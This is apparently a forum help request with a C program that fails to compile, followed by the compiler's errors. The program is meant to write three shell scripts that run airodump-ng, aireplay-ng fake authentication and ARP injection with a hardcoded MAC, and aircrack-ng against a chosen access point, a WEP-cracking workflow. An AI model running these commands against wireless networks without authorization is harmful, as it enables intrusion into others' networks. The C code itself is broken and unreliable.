Here is what I have so far.
Code:
#include<stdio.h>
#include<string.h>
void strip_newline(char *str,int size)
{
int i;
for(i=0;i<size;++i){
if(str[i]=='\n'){
str[i]='\0';
return;
}
}
}
int main()
{
char bssid[20];
char essid[20];
int channel;
printf("AP BSSID:");
fgets(bssid,20,stdin);
strip_newline(bssid,20);
printf("AP ESSID:");
fgets(essid,20,stdin);
strip_newline(essid,20);
printf("AP CHANNEL:");
scanf("%d",&channel);
FILE *capture;
capture=fopen("%s-capture.sh","w",essid);
fprintf(capture,"#!/bin/bash\n\nsudo airodump-ng -c %d -d %s -w %s mon0\n",channel,bssid,essid);
fclose(capture);
FILE *auth/injection;
auth/injection=fopen("%s-auth/injection.sh","w",essid);
fprintf(auth/injection,"#!/bin/bash\n\nsudo aireplay-ng -1 0 -e '%s' -a %s -h 00:19:7E:71:C0:2D mon0\n",essid,bssid);
fprintf(auth/injection,"sudo aireplay-ng -3 -b %s -h 00:19:7E:71:C0:2D mon0\n",bssid);
fclose(auth/injection);
FILE *crack;
crack=fopen("%s-crack.sh","w",essid);
fprintf(crack,"#!/bin/bash\n\nsudo aircrack-ng -z -b %s %s*.cap\n",bssid,essid);
fclose(crack);
getchar();
return 0;
}
My Goal is to have to program write 3 individual shell scripts, each one preforming the specifed commands within the scripts. But I'm getting errors, here are the errors I get on my machine when trying compiling.
Code:
beatzz@hax0r:~/documents/c/test$ gcc -o crackrocks crackrocks.c
crackrocks.c: In function ‘main’:
crackrocks.c:27: error: too many arguments to function ‘fopen’
crackrocks.c:30: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘/’ token
crackrocks.c:30: error: expected expression before ‘/’ token
crackrocks.c:31: error: ‘auth’ undeclared (first use in this function)
crackrocks.c:31: error: (Each undeclared identifier is reported only once
crackrocks.c:31: error: for each function it appears in.)
crackrocks.c:31: error: ‘injection’ undeclared (first use in this function)
crackrocks.c:31: error: too many arguments to function ‘fopen’
crackrocks.c:36: error: too many arguments to function ‘fopen’
beatzz@hax0r:~/documents/c/test$